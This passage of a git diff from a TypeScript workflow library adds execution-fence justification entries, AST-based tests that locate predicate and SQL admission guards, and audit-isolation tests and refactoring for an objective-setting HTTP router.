+    anchor: 'const counts = decodeResumeCounts(resumeCounts);',
+    effectBoundary:
+      'The progress decoder validates only owned metadata and performs no I/O or execution. A retained admission stamp never proves unchanged bytes or no effects, and decoding failures cannot grant definitive-zero evidence.',
+  },
+  {
+    file: 'do-runner/fenced-workflows-d1.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'if (!scope.witness) {',
+    effectBoundary:
+      'A createRun callback without a positive persistence witness cannot enter the engine; another domain or swallowed failure may already have written, so missing witness gives no definitive-zero authority.',
+  },
+  {
+    file: 'do-runner/fenced-workflows-d1.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'if (await this.#converged(',
+    effectBoundary:
+      'A thrown batch with no exact converged readback blocks engine entry; the batch may already have committed durable admission and this uncertain refusal cannot authorize retry or journal clearing.',
+  },
+  {
+    file: 'do-runner/fenced-workflows-d1.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: '} else if (proofRows.length !== 0)',
+    effectBoundary:
+      'Malformed returned batch data blocks engine entry after a possible committed initial INSERT; no recovery read or missing-result assumption upgrades it to success or definitive zero.',
+  },
+  {
+    file: 'do-runner/fenced-workflows-d1.ts',
+    error: 'ExecutionFencedError',
+    anchor: 'const proofSlotUnbound =',
+    effectBoundary:
+      'After a validated all-zero chained batch, the current state/key/round diagnostic explains refusal before engine entry; the SQL result, not this JavaScript predicate, establishes no initial write.',
+  },
+  {
+    file: 'do-runner/fenced-workflows-d1.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: "error.reason?.code === 'MUTATION_EPOCH_MISMATCH'",
+    effectBoundary:
+      'An unreadable post-zero diagnostic blocks engine entry while preserving the already validated all-zero result; failed observation alone would not establish absence of durable admission.',
+  },
+  {
+    file: 'do-runner/workflow-snapshot-row.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'export async function readRawWorkflowSnapshot(',
+    effectBoundary:
+      'The exact reader performs no writes and refuses malformed or unavailable rows before its caller enters the engine; admission readback may follow an already committed initial row and does not prove no write.',
+  },
+  {
+    file: 'do-runner/run-provenance.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'export function decodeRunStartIdentity(',
+    effectBoundary:
+      'The role-neutral provenance decoder performs no storage or execution and rejects malformed owned identity before callers can use it to authorize engine entry.',
+  },
+  {
+    file: 'do-runner/run-provenance.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'resumeCounts: Object.freeze([]) as readonly [],',
+    effectBoundary:
+      'The initial provenance decoder validates before engine entry; callers can use it on a returned or read-back initial row, so decoder failure does not establish absence of durable admission.',
+  },
   {
     file: 'do-runner/runtime.ts',
     error: 'ExecutionFencedError',
     anchor: 'if (!admitsRunStart(reading, idempotencyKey))',
-    beforeExecutionEffect:
+    effectBoundary:
       'The start admission check refuses before proof binding and engine run creation.',
   },
   {
     file: 'do-runner/runtime.ts',
     error: 'ExecutionFencedError',
-    anchor: 'if (!(await fence.recordProofRun',
-    beforeExecutionEffect:
-      'A lost proof-binding compare-and-set refuses while engine run creation has not begun.',
+    anchor: "if (reading.state === 'migration-locked')",
+    effectBoundary:
+      'The Runtime refuses every migration-locked resume before engine preparation or execution.',
   },
   {
     file: 'do-runner/runtime.ts',
     error: 'ExecutionFencedError',
-    anchor: 'async #assertResumeFence',
-    beforeExecutionEffect:
+    anchor:
+      'const state = await this.authoritativeStartState(workflowId, runId);',
+    effectBoundary:
       'The resume admission check refuses before the engine continues the existing run.',
   },
+  {
+    file: 'do-runner/runtime.ts',
+    error: 'ExecutionFencedError',
+    anchor: '(proof && (!execution || !sameExecution(proof, execution)))',
+    effectBoundary:
+      'After preparation waits, the original generation and current admission must still agree before synchronous engine resume.',
+  },
+  {
+    file: 'do-runner/runtime.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'if (claim && !this.#startIdempotency)',
+    effectBoundary:
+      'Missing reservation wiring refuses owning recovery before selecting or terminalizing the pending generation; the journal remains unresolved.',
+  },
+  {
+    file: 'do-runner/runtime.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'cause instanceof RunStateUnreadableError',
+    effectBoundary:
+      'Owning recovery failures remain unresolved after possible terminalization or settlement; recovery never runs an engine and this error grants no rollback.',
+  },
+  {
+    file: 'do-runner/runtime.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'if (!identity || !this.#startIdempotency)',
+    effectBoundary:
+      'Strict terminal settlement requires the original logical owner and configured store before managed hosts can clear journals or ownership.',
+  },
+  {
+    file: 'signals/thread-do-routes.ts',
+    error: 'ExecutionFencedError',
+    anchor: 'runtime.executionFence !== scope.init.executionFence',
+    effectBoundary:
+      'Proof-only signal delivery requires an actual Runtime-driven wrapper and the same fence before any route effect.',
+  },
+  {
+    file: 'signals/thread-do-routes.ts',
+    error: 'ExecutionFencedError',
+    anchor: 'if (runId === undefined)',
+    effectBoundary:
+      'An idle thread cannot claim existing proof execution or persist a new signal through the active-run route.',
+  },
+  {
+    file: 'signals/thread-do-routes.ts',
+    error: 'ExecutionFencedError',
+    anchor: '!admitsExistingRun(executionFence, execution)',
+    effectBoundary:
+      'The actual wrapper generation must match the nominated physical execution before delivery or durable signal mutation.',
+  },
+  {
+    file: 'signals/thread-do-routes.ts',
+    error: 'ExecutionFencedError',
+    anchor: 'const assertActive = (expected = admitted) => {',
+    effectBoundary:
+      'An immediate active-run comparison prevents Core from selecting another run after an awaited generation check and before route effects.',
+  },
+  {
+    file: 'signals/thread-do-routes.ts',
+    error: 'ExecutionFencedError',
+    anchor: "{ state: 'proof-only', proofExecution: expected },",
+    effectBoundary:
+      'A replacement generation after application awaits refuses the next signal effect while retaining the original admitted execution.',
+  },
+  {
+    file: 'signals/thread-do-routes.ts',
+    error: 'ExecutionFencedError',
+    anchor: "if (options.executionFence.state === 'proof-only')",
+    effectBoundary:
+      'A fenced wake response propagates before notification failure bookkeeping; prior admitted effects are not claimed absent or rolled back.',
+  },
+  {
+    file: 'signals/thread-do-routes.ts',
+    error: 'ExecutionFencedError',
+    anchor: "if (fence.state === 'proof-only' && admitted === undefined)",
+    effectBoundary:
+      'Serialized wake requires its captured current generation before active delivery or any idle persistence and start path.',
+  },
   {
     file: 'signal-providers/host-do.ts',
     error: 'ExecutionFencedError',
     anchor: 'async poll(): Promise<PollResult>',
-    beforeExecutionEffect:
+    effectBoundary:
       'The poll admission check refuses before any provider is polled or notification is delivered.',
   },
+  {
+    file: 'do-runner/execution-fence.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor:
+      'const values = FENCE_ADMISSION_FIELDS.map((key) => observation.raw[key]);',
+    effectBoundary:
+      'Semantic field types are checked before initial admission and schedule binding; schedule transaction diagnosis preserves unknown outcomes after a positive mutation witness.',
+  },
+  {
+    file: 'do-runner/fenced-workflows-d1.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'schema = await captureExecutionFenceAdmissionSchema(',
+    effectBoundary:
+      'Unreadable current schema refuses initial admission before its snapshot and dependent reservation or proof writes.',
+  },
+  {
+    file: 'schedules/schedules-d1.ts',
+    error: 'ExecutionFencedError',
+    anchor: '!admitsWorkAuthoring(observation.reading)',
+    effectBoundary:
+      'Closed authoring state refuses schedule preparation before the mutation batch; the final SQL predicate independently checks the captured frame.',
+  },
+  {
+    file: 'schedules/schedules-d1.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'results: captured.rows,',
+    effectBoundary:
+      'Unreadable schema evidence refuses preparation before authoring SQL; the captured valid schema is compared again by the mutation predicate.',
+  },
+  {
+    file: 'schedules/schedules-d1.ts',
+    error: 'ExecutionFenceUnreadableError',
+    anchor: 'results: schemaResult.rows,',
+    effectBoundary:
+      'Invalid transactional authority is a refusal with zero write evidence; a positive mutation witness instead reports an unknown outcome without compensation.',
+  },
+  {
+    file: 'schedules/schedules-d1.ts',
+    error: 'ExecutionFencedError',
+    anchor: '!admitsWorkAuthoring(current.reading)',
+    effectBoundary:
+      'The transaction observation diagnoses final state refusal when the guarded writes have no witness; contradictory positive writes become an unknown outcome.',
+  },
 ];
 
 function fenceErrorAuthorSites(): Array<{
@@ -1260,11 +2174,194 @@ function anchorDistanceBeforeAuthor(
   return undefined;
 }
 
-function siteKey(site: { file: string; predicate: string }): string {
-  return `${site.file} :: ${site.predicate}`;
+function siteKey(site: GateSite): string {
+  return `${site.file} :: ${site.predicate} :: ${site.sql ?? site.delegate ?? 'predicate'}`;
 }
 
 describe('execution-entry matrix', () => {
+  it.each([
+    'do-runner/runtime.ts',
+    'do-runner/durable-object.ts',
+    'do-runner/thread-do.ts',
+    'agent-host/thread-host.ts',
+    'agent-runner/durable-agent-runner.ts',
+  ])('D3 execution entry has no weak reservation or proof calls: %s', (file) => {
+    const source = sourceFileSystem().readFileSync(
+      `${sourceRoot()}/${file}`,
+      'utf8',
+    );
+    const parsed = ts.createSourceFile(
+      file,
+      source,
+      ts.ScriptTarget.Latest,
+      true,
+    );
+    const calls: string[] = [];
+    const forbidden = new Set([
+      'rollbackFencedStart',
+      'recordProofRun',
+      'settleRun',
+    ]);
+    const visit = (node: ts.Node): void => {
+      if (ts.isCallExpression(node)) {
+        const expression = node.expression;
+        const name = ts.isIdentifier(expression)
+          ? expression.text
+          : ts.isPropertyAccessExpression(expression)
+            ? expression.name.text
+            : undefined;
+        if (name && forbidden.has(name)) calls.push(name);
+      }
+      ts.forEachChild(node, visit);
+    };
+    visit(parsed);
+    expect(calls).toEqual([]);
+  });
+
+  describe('predicate admission source census', () => {
+    const file = 'entry.ts';
+    it.each([
+      ['admitsExistingRun(reading, execution)', undefined],
+      ['fence.admitsExistingRun(reading, execution)', undefined],
+      [
+        'runtime.assertExistingRunAllowed(workflowId, runId)',
+        'assertExistingRunAllowed',
+      ],
+      ['options.proof?.capture(runId)', 'proof.capture'],
+    ] as const)('finds the actual call: %s', (source, delegate) => {
+      expect(predicateCallSites({ file, source })).toEqual([
+        {
+          file,
+          predicate: 'admitsExistingRun',
+          ...(delegate === undefined ? {} : { delegate }),
+        },
+      ]);
+    });
+
+    it.each([
+      '// admitsExistingRun(reading, execution)',
+      '/* admitsExistingRun(reading, execution) */',
+      '"admitsExistingRun(reading, execution)"',
+      'function admitsExistingRun(reading, execution) {}',
+      'const gate = admitsExistingRun;',
+      'options.capture(runId)',
+    ])('does not invent a gate from %s', (source) => {
+      expect(predicateCallSites({ file, source })).toEqual([]);
+    });
+  });
+
+  describe('SQL admission source census', () => {
+    const fenceTable = `\${EXECUTION_FENCE_TABLE}`;
+    const insert = `INSERT INTO \${snapshotTable}`;
+    const guard = `WHERE EXISTS (SELECT 1 FROM ${fenceTable} AS f WHERE f.state = 'open')`;
+    const guardedPrepare = `database.prepare(\`${insert} SELECT 1 ${guard} \${optionalParticipantClauses}\`)`;
+    const sharedPrepare = `const finalFence = executionFenceAdmissionSql(input); database.prepare(\`${insert} SELECT 1 WHERE \${finalFence} \${optionalParticipantClauses}\`)`;
+    const sqlSite: GateSite = {
+      file: 'do-runner/fenced-workflows-d1.ts',
+      predicate: 'admitsRunStart',
+      sql: 'initial-snapshot-insert',
+    };
+
+    it.each([
+      ['template with participant interpolation', guardedPrepare],
+      ['shared admission predicate', sharedPrepare],
+      [
+        'whitespace and a literal table name',
+        'database.prepare(`\n INSERT\n INTO snapshot SELECT 1\n' +
+          guard.replace(fenceTable, 'flowsafe_execution_fence') +
+          '`)',
+      ],
+      [
+        'quoted string argument',
+        `database.prepare("INSERT INTO snapshot SELECT 1 ${guard.replace(fenceTable, 'flowsafe_execution_fence')}")`,
+      ],
+    ])('finds an actual prepare argument: %s', (_name, source) => {
+      expect(sqlAdmissionSites({ file: sqlSite.file, source })).toEqual([
+        sqlSite,
+      ]);
+    });
+
+    it.each([
+      ['line comment', `// ${guardedPrepare}`],
+      ['block comment', `/* ${guardedPrepare} */`],
+      [
+        'unused template',
+        guardedPrepare.replace('database.prepare(', 'void ('),
+      ],
+      ['different method', guardedPrepare.replace('.prepare(', '.inspect(')],
+      [
+        'indirect argument',
+        `const sql = \`INSERT INTO snapshot SELECT 1 ${guard}\`; database.prepare(sql)`,
+      ],
+      [
+        'diagnostic SELECT',
+        guardedPrepare.replace(insert, 'SELECT * FROM snapshot'),
+      ],
+      [
+        'proof UPDATE',
+        guardedPrepare.replace(
+          `${insert} SELECT 1`,
+          'UPDATE flowsafe_execution_fence SET proof_run_id = 1',
+        ),
+      ],
+      ['unguarded INSERT', guardedPrepare.replace(guard, 'WHERE 1 = 1')],
+      [
+        'unused shared predicate',
+        sharedPrepare.replace(`WHERE \${finalFence}`, 'WHERE 1 = 1'),
+      ],
+      [
+        'unrecognized predicate binding',
+        sharedPrepare.replace('executionFenceAdmissionSql', 'otherSql'),
+      ],
+    ])('does not invent a SQL gate from %s', (_name, source) => {
+      expect(sqlAdmissionSites({ file: sqlSite.file, source })).toEqual([]);
+    });
+
+    it('counts every SQL occurrence independently of predicate declarations', () => {
+      const definition = {
+        file: 'do-runner/execution-fence.ts',
+        source: `${guardedPrepare}; export function admitsRunStart(reading, key) {}`,
+      };
+      expect(predicateCallSites(definition)).toEqual([]);
+      expect(sqlAdmissionSites(definition)).toEqual([
+        { ...sqlSite, file: definition.file },
+      ]);
+      const sites = [
+        { file: sqlSite.file, source: `${guardedPrepare}; ${guardedPrepare};` },
+        { file: 'other/new-entry.ts', source: guardedPrepare },
+      ].flatMap(sqlAdmissionSites);
+      expect(sites.map(siteKey).sort()).toEqual(
+        [sqlSite, sqlSite, { ...sqlSite, file: 'other/new-entry.ts' }]
+          .map(siteKey)
+          .sort(),
+      );
+    });
+
+    it('loses the SQL site when its guard is removed despite unchanged diagnostic calls', () => {
+      const original = {
+        file: sqlSite.file,
+        source: `${guardedPrepare}; admitsRunStart(reading, key);`,
+      };
+      const mutated = {
+        ...original,
+        source: original.source.replace(guard, 'WHERE 1 = 1'),
+      };
+      const calls = predicateCallSites(original);
+      expect(predicateCallSites(mutated)).toEqual(calls);
+      expect(sqlAdmissionSites(original)).toEqual([sqlSite]);
+      expect(sqlAdmissionSites(mutated)).toEqual([]);
+      const declared = [...calls, sqlSite].map(siteKey).sort();
+      const observed = [
+        ...predicateCallSites(mutated),
+        ...sqlAdmissionSites(mutated),
+      ]
+        .map(siteKey)
+        .sort();
+      expect(observed).not.toEqual(declared);
+      expect(siteKey(sqlSite)).not.toBe(siteKey(calls[0] as GateSite));
+    });
+  });
+
   it('rejects aliases, qualified construction, and subclassing census escapes', () => {
     const escapes = [
       "import { ExecutionFencedError as HiddenFenceError } from './do-runner/index.js';",
@@ -1281,7 +2378,7 @@ describe('execution-entry matrix', () => {
     ]);
   });
 
-  it('accounts for every production fence-error author, with a recorded pre-execution justification', () => {
+  it('accounts for every production fence-error author, with a recorded effect-boundary justification', () => {
     expect(
       fenceErrorCensusViolations(),
       'fence-error construction must stay visible to the lexical census',
@@ -1316,8 +2413,8 @@ describe('execution-entry matrix', () => {
         `${author.file} :: ${author.error} :: ${author.anchor} must anchor one author site`,
       ).toHaveLength(1);
       expect(
-        author.beforeExecutionEffect.length,
-        `${author.file} :: ${author.error} :: ${author.anchor} needs a substantive pre-execution justification`,
+        author.effectBoundary.length,
+        `${author.file} :: ${author.error} :: ${author.anchor} needs a substantive effect-boundary justification`,
       ).toBeGreaterThan(40);
     }
   });
@@ -1386,8 +2483,8 @@ describe('execution-entry matrix', () => {
       it(`${entry.name} behaves as ${entry.predicate} under '${state}'`, async () => {
         // #given — the surface built while the fence is still open, so its
         // prerequisites are created the way production creates them.
-        const fence = await openFence();
-        const prepared = await entry.prepare(fence);
+        const { fence, database, sqlite } = await openFence();
+        const prepared = await entry.prepare(fence, database, sqlite);
 
         // #when — the fence moves to the state under test.
         if (state !== 'open') {
@@ -1415,20 +2512,15 @@ describe('execution-entry matrix', () => {
       // from admitsWorkAuthoring and admitsExistingRun from
       // admitsDrainableExecution; only the nominated proof-only case tells them
       // apart.
-      const fence = await openFence();
-      const prepared = await entry.prepare(fence);
+      const { fence, database, sqlite } = await openFence();
+      const prepared = await entry.prepare(fence, database, sqlite);
       await fence.transition({
         expected: 'open',
         next: 'proof-only',
         proofKey: PROOF_KEY,
       });
-      if (
-        prepared.nomination !== undefined &&
-        entry.predicate === 'admitsExistingRun'
-      ) {
-        // For work on an EXISTING run the nomination is the run itself, bound
-        // the way an admitted proof-only start binds it.
-        await fence.recordProofRun(PROOF_KEY, prepared.nomination);
+      if (typeof prepared.nomination === 'object') {
+        await nominateExistingExecution(fence, database, prepared.nomination);
       }
       const reading = await fence.read();
       const expected = admits(entry.predicate, reading, prepared.nomination)
@@ -1439,7 +2531,9 @@ describe('execution-entry matrix', () => {
       // without is refused however it is driven, which is the whole meaning of
       // "nothing nominates authoring or queued execution".
       expect(await prepared.invoke(true)).toBe(expected);
-      if (prepared.nomination === undefined) expect(expected).toBe('refused');
+      expect(expected).toBe(
+        prepared.nomination === undefined ? 'refused' : 'admitted',
+      );
     });
   }
 });
diff --git a/packages/flowsafe/src/goals/objective-routes.test.ts b/packages/flowsafe/src/goals/objective-routes.test.ts
index c877fdd4..43e81099 100644
--- a/packages/flowsafe/src/goals/objective-routes.test.ts
+++ b/packages/flowsafe/src/goals/objective-routes.test.ts
@@ -1,16 +1,14 @@
 // SPDX-License-Identifier: Apache-2.0
-// The goal objective HTTP surface (createObjectiveRouter): bounded ingestion
-// gate order (401 -> ownership -> role -> size/body/field/cap -> audit ->
-// persist). Each fails closed. The suite also covers the set/get/update/clear
-// round-trip, byte-identical to core's Agent goal methods, the maxRuns host
-// cap, and the GOAL_REQUEST_CONTEXT_KEY no-collision reservation over mock
-// resolver and store seams.
 
 import { describe, expect, it, vi } from 'vitest';
 
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
 
-import type { ActorContext, ApprovalActor } from '../approval-api/index.js';
+import {
+  type ActorContext,
+  ActorResolutionError,
+  type ApprovalActor,
+} from '../approval-api/index.js';
 import {
   BREAKWATER_ACTOR_KEY,
   BREAKWATER_CONNECTOR_EXECUTION_KEY,
@@ -129,6 +127,39 @@ interface GoalRecord {
 }
 
 describe('createObjectiveRouter — bounded ingestion gate', () => {
+  it.each([
+    'constructor',
+    'toString',
+    '__proto__',
+    'hasOwnProperty',
+  ])('rejects inherited operation %s before authentication or storage', async (method) => {
+    const { store, raw } = memoryStore();
+    const resolve = vi.fn(async () => actorContext('operator'));
+    const read = vi.spyOn(store, 'getState');
+    const write = vi.spyOn(store, 'setState');
+    const clear = vi.spyOn(store, 'deleteState');
+    const validateThreadTarget = vi.fn(async () => undefined);
+    const audit = vi.fn();
+    const router = createObjectiveRouter({
+      resolve,
+      store,
+      validateThreadTarget,
+      audit,
+    });
+
+    const response = await router(req(method, OWNED_THREAD, {}));
+
+    expect(response?.status).toBe(405);
+    expect(await response?.json()).toEqual({ error: 'method not allowed' });
+    expect(resolve).not.toHaveBeenCalled();
+    expect(read).not.toHaveBeenCalled();
+    expect(write).not.toHaveBeenCalled();
+    expect(clear).not.toHaveBeenCalled();
+    expect(validateThreadTarget).not.toHaveBeenCalled();
+    expect(audit).not.toHaveBeenCalled();
+    expect(raw.size).toBe(0);
+  });
+
   it.each([
     { maxRunsCap: 0 },
     { maxRunsCap: 1.5 },
@@ -743,6 +774,50 @@ describe('createObjectiveRouter and the deployment execution fence', () => {
     } as unknown as ExecutionFenceDatabase);
   }
 
+  it.each([
+    'draining',
+    'unreadable',
+  ] as const)('preserves the %s fence refusal when audit and diagnostics fail', async (state) => {
+    const { store, raw } = memoryStore();
+    const audit = vi.fn(() => {
+      throw new ActorResolutionError('audit failed');
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    const router = createObjectiveRouter({
+      resolve: async () => actorContext('operator'),
+      store,
+      audit,
+      executionFence:
+        state === 'unreadable' ? unreadableFence() : await fenceAt(state),
+    });
+    try {
+      const response = await router(
+        req('PUT', OWNED_THREAD, { objective: 'ship it' }),
+      );
+      expect(response?.status).toBe(503);
+      expect(await response?.json()).toMatchObject({
+        reason:
+          state === 'unreadable'
+            ? { code: 'EXECUTION_FENCE_UNREADABLE' }
+            : { code: 'EXECUTION_FENCED', state: 'draining' },
+      });
+      expect(audit).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({
+          outcome: 'rejected',
+          reason:
+            state === 'unreadable'
+              ? 'execution-fence-unreadable'
+              : 'execution-fenced',
+        }),
+      );
+      expect(raw.size).toBe(0);
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
   it('degrades a mutation closed with 503 when the fence cannot be read', async () => {
     // #given
     const { store, raw } = memoryStore();
@@ -847,3 +922,177 @@ describe('createObjectiveRouter and the deployment execution fence', () => {
     expect(await res?.json()).toEqual({ objective: null });
   });
 });
+
+describe('createObjectiveRouter audit isolation', () => {
+  it.each([
+    ['role', 'viewer', OWNED_THREAD, {}, 403, 'forbidden', 'forbidden-role'],
+    [
+      'owner',
+      'operator',
+      'foreign',
+      {},
+      404,
+      'thread not found',
+      'invalid-thread',
+    ],
+    [
+      'array body',
+      'operator',
+      OWNED_THREAD,
+      [],
+      400,
+      'a JSON object body is required',
+      'malformed-body',
+    ],
+    [
+      'invalid JSON',
+      'operator',
+      OWNED_THREAD,
+      '{',
+      400,
+      'a JSON object body is required',
+      'malformed-body',
+    ],
+    [
+      'memory id',
+      'operator',
+      OWNED_THREAD,
+      { threadId: 'forged' },
+      400,
+      'threadId is server-assigned (agent-memory ids are minted by the host)',
+      'client-memory-id',
+    ],
+    [
+      'typed refusal',
+      'operator',
+      OWNED_THREAD,
+      { objective: 'ship it' },
+      422,
+      'host refused objective',
+      'route-error-422',
+    ],
+  ] as const)('preserves the %s refusal when audit throws a route error and diagnostics throw', async (_label, role, threadId, body, status, message, reason) => {
+    const { store, raw } = memoryStore();
+    const audit = vi.fn(() => {
+      throw new RunRouteError(409, 'audit failed');
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new ActorResolutionError('logger failed');
+    });
+    const router = createObjectiveRouter({
+      resolve: async () => ({ ...actorContext(role), deploymentTag: 'acme' }),
+      store,
+      audit,
+      validateThreadTarget: async () => {
+        throw new RunRouteError(422, 'host refused objective');
+      },
+    });
+    try {
+      const response = await router(req('PUT', threadId, body));
+      expect(response?.status).toBe(status);
+      expect(await response?.json()).toEqual({ error: message });
+      expect(response?.headers.get('cache-control')).toBe('no-store');
+      expect(audit).toHaveBeenCalledExactlyOnceWith({
+        type: 'goal.objective',
+        deploymentTag: 'acme',
+        actorId: 'opal',
+        threadId,
+        operation: 'set',
+        outcome: 'rejected',
+        reason,
+        timestamp: expect.any(String),
+      });
+      expect(logged).toHaveBeenCalledTimes(1);
+      expect(raw.size).toBe(0);
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
+  it.each([
+    'actor error',
+    'message getter',
+    'toString',
+  ])('preserves committed mutations when the audit sink throws %s', async (failure) => {
+    const error =
+      failure === 'actor error'
+        ? new ActorResolutionError('audit failed')
+        : failure === 'message getter'
+          ? Object.defineProperty(new Error(), 'message', {
+              get() {
+                throw new Error('message failed');
+              },
+            })
+          : {
+              toString() {
+                throw new Error('coercion failed');
+              },
+            };
+    const { store, raw } = memoryStore();
+    const audit = vi.fn(async () => {
+      throw error;
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    const router = createObjectiveRouter({
+      resolve: async () => actorContext('operator'),
+      store,
+      audit,
+    });
+    try {
+      const set = await router(
+        req('PUT', OWNED_THREAD, { objective: 'ship it' }),
+      );
+      expect(set?.status).toBe(200);
+      expect(await set?.json()).toMatchObject({
+        objective: { objective: 'ship it', status: 'active' },
+      });
+      expect(raw.size).toBe(1);
+      const update = await router(
+        req('PATCH', OWNED_THREAD, { status: 'paused' }),
+      );
+      expect(update?.status).toBe(200);
+      expect(await update?.json()).toMatchObject({
+        objective: { objective: 'ship it', status: 'paused' },
+      });
+      expect(raw.get(`${OWNED_THREAD}::goal`)).toMatchObject({
+        status: 'paused',
+      });
+      const clear = await router(req('DELETE', OWNED_THREAD));
+      expect(clear?.status).toBe(200);
+      expect(await clear?.json()).toEqual({ ok: true });
+      expect(raw.size).toBe(0);
+      expect(audit.mock.calls).toEqual(
+        ['set', 'update', 'clear'].map((operation) => [
+          expect.objectContaining({ operation, outcome: 'accepted' }),
+        ]),
+      );
+      expect(logged).toHaveBeenCalledTimes(3);
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
+  it('captures the audit callback and preserves its options receiver', async () => {
+    const { store } = memoryStore();
+    let receiver: ObjectiveRouterOptions | undefined;
+    const audit = vi.fn(function (this: ObjectiveRouterOptions) {
+      receiver = this;
+    });
+    const replacement = vi.fn();
+    const options: ObjectiveRouterOptions = {
+      resolve: async () => actorContext('operator'),
+      store,
+      validateThreadTarget: async () => undefined,
+      executionFence: 'none',
+      audit,
+    };
+    const router = createObjectiveRouterImpl(options);
+    options.audit = replacement;
+    expect((await router(req('DELETE', OWNED_THREAD)))?.status).toBe(200);
+    expect(audit).toHaveBeenCalledTimes(1);
+    expect(receiver).toBe(options);
+    expect(replacement).not.toHaveBeenCalled();
+  });
+});
diff --git a/packages/flowsafe/src/goals/objective-routes.ts b/packages/flowsafe/src/goals/objective-routes.ts
index b6b4385e..3d2df8f3 100644
--- a/packages/flowsafe/src/goals/objective-routes.ts
+++ b/packages/flowsafe/src/goals/objective-routes.ts
@@ -15,26 +15,6 @@
 // through core's OWN writeObjective/readObjective/clearObjective over the SAME
 // (threadId, 'goal') key, so the stored shape can never drift from the reader's.
 //
-// An objective is a STANDING INSTRUCTION injected into every future model
-// turn, so the write path is an ingestion trust boundary. It uses the same
-// resource-first authorization rule as the signal router:
-//
-//   1. resolve and validate the actor              -> 401 / 403
-//   2. verify registry-backed thread ownership     -> 404
-//   3. require RUN_START_ROLES for mutations       -> 403
-//   4. cap the raw body, then parse JSON           -> 413 / 400
-//   5. reject client-supplied memory ids           -> 400
-//   6. allow only objective fields                 -> 400
-//   7. enforce the host maxRuns cap                -> 400
-//   8. audit (goal.objective) + persist
-//
-// Every MUTATION (set/update/clear) is audited on ACCEPT and on EVERY post-auth
-// denial (role 403, malformed target 404, size/body/field/cap 400), following
-// the signal-ingestion lesson. A GET is audited only on a post-auth denial; a
-// benign successful read is not a standing-instruction write and is not logged.
-// Pre-auth failures (401 / a resolver throw -> 403) are NOT audited: an
-// unauthenticated flood must never be able to write the log.
-//
 // maxRuns: a requested maxRuns above the host cap is REJECTED (400),
 // not silently clamped. A caller that asked for 200 evaluations and got 50 would
 // see mysterious early-stopping — exactly the "your value was quietly replaced"
@@ -81,6 +61,7 @@ import {
   isExecutionFenceRefusal,
   readExecutionFence,
 } from '../do-runner/index.js';
+import { hostErrorText } from '../host-kit/host-approval-service.js';
 import {
   assertNoClientMemoryIds,
   type BoundThreadTargetValidator,
@@ -168,11 +149,7 @@ export interface ObjectiveRouterOptions {
   store: ObjectiveStore;
   /** Prove mutations target durable bound memory, not an ephemeral run id. */
   validateThreadTarget: BoundThreadTargetValidator;
-  /**
-   * Who may SET/UPDATE/CLEAR an objective. Default RUN_START_ROLES
-   * (operator/admin) — reviewers/viewers cannot author standing instructions.
-   * Reads (GET) are not role-gated beyond ownership.
-   */
+  /** Roles allowed to mutate objectives. Defaults to RUN_START_ROLES. */
   roles?: readonly ApprovalRole[];
   /** Every mutation (and denied read) is audited through this. Absent ⇒ no audit. */
   audit?: ObjectiveAuditSink;
@@ -403,7 +380,7 @@ function buildUpdateRecord(
 export function createObjectiveRouter(
   options: ObjectiveRouterOptions,
 ): ObjectiveRouter {
-  const { executionFence, resolve, store } = options;
+  const { executionFence, resolve, store, audit: auditSink } = options;
   const roles = options.roles ?? RUN_START_ROLES;
   const maxRunsCap = positiveSafeInteger(
     options.maxRunsCap ?? DEFAULT_GOAL_MAX_RUNS,
@@ -432,48 +409,47 @@ export function createObjectiveRouter(
     // route-absent, never a pre-auth decodeURIComponent throw out of the handler.
     const threadId = safeDecodeSegment(segments[baseSegments.length]);
     if (threadId === undefined) return null;
-    const operation = OPERATION_BY_METHOD[request.method];
+    const operation = Object.hasOwn(OPERATION_BY_METHOD, request.method)
+      ? OPERATION_BY_METHOD[request.method]
+      : undefined;
     if (operation === undefined) {
       return json({ error: 'method not allowed' }, 405);
     }
     const isMutation = operation !== 'get';
 
-    // Hoisted above the try so the catch audits the post-auth denials that
-    // surface as thrown RunRouteErrors (the ownership 404, the memory-id 400).
-    // `context` is undefined until resolve succeeds and the closure no-ops while
-    // it is, so a pre-auth throw is never audited; a benign GET is not audited.
     let context: ActorContext | undefined;
     const audit = async (
       outcome: 'accepted' | 'rejected',
       reason?: string,
     ): Promise<void> => {
-      if (!options.audit || !context) return;
+      if (!auditSink || !context) return;
       if (operation === 'get' && outcome === 'accepted') return;
-      await options.audit({
-        type: 'goal.objective',
-        ...(context.deploymentTag !== undefined
-          ? { deploymentTag: context.deploymentTag }
-          : {}),
-        actorId: context.actor.id,
-        threadId,
-        operation,
-        outcome,
-        ...(reason !== undefined ? { reason } : {}),
-        timestamp: new Date().toISOString(),
-      });
-    };
-    const auditCommittedMutation = async (): Promise<void> => {
       try {
-        await audit('accepted');
+        await auditSink.call(options, {
+          type: 'goal.objective',
+          ...(context.deploymentTag !== undefined
+            ? { deploymentTag: context.deploymentTag }
+            : {}),
+          actorId: context.actor.id,
+          threadId,
+          operation,
+          outcome,
+          ...(reason !== undefined ? { reason } : {}),
+          timestamp: new Date().toISOString(),
+        });
       } catch (error) {
-        console.error(
-          JSON.stringify({
-            type: 'goal.objective-audit-error',
-            threadId,
-            operation,
-            reason: error instanceof Error ? error.message : String(error),
-          }),
-        );
+        try {
